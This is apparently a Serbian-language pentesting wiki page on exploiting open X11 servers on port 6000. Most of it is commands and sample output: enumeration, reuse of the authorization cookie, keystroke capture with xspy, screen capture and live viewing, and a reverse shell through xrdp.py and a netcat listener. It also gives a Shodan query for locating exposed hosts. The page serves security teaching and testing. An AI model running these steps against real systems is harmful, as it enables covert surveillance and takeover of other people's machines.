# 6000 - Pentesting X11

{{#include ../banners/hacktricks-training.md}}

## Osnovne informacije

**X Window System** (X) je svestran sistem prozora koji je prisutan na operativnim sistemima zasnovanim na UNIX-u. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.

**Podrazumevani port:** 6000
```
PORT       STATE   SERVICE
6000/tcp   open    X11
```
## Enumeration

Proverite za **anonimnu vezu:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalna Enumeracija

Fajl **`.Xauthority`** u korisničkom home folderu se **koristi** od strane **X11 za autorizaciju**. Iz [**ovde**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...
```
> MIT-magic-cookie-1: Generisanje 128bit ključa (“cookie”), čuvanje u \~/.Xauthority (ili gde pokazivač XAUTHORITY ukazuje). Klijent ga šalje serveru u plain formatu! Server proverava da li ima kopiju ovog “cookie” i ako ima, veza je dozvoljena. Ključ generiše DMX.

> [!WARNING]
> Da biste **koristili cookie**, treba da postavite env var: **`export XAUTHORITY=/path/to/.Xauthority`**

#### Lokalna enumeracija sesije
```bash
$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session
```
U primeru, `localhost:0` je pokretao xfce4-session.

## Verifikujte Konekciju
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin

[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje pritisaka na tastaturi.

Sample Output:
```
xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Snimanje ekrana
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Udaljeni Desktop Prikaz

Putanja sa: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Prvo moramo pronaći ID prozora koristeći xwininfo
```
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0
```
**XWatchwin**

Za **uživo gledanje** potrebno je koristiti
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Dobijanje Shell-a
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**Reverse Shell:** Xrdp takođe omogućava uzimanje reverse shell-a putem Netcat-a. Ukucajte sledeću komandu:
```bash
./xrdp.py \<IP:0> –no-disp
```
U interfejsu možete videti opciju **R-shell**.

Zatim, pokrenite **Netcat listener** na vašem lokalnom sistemu na portu 5555.
```bash
nc -lvp 5555
```
Zatim unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da dobijete shell

## Reference

- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

## Shodan

- `port:6000 x11`

{{#include ../banners/hacktricks-training.md}}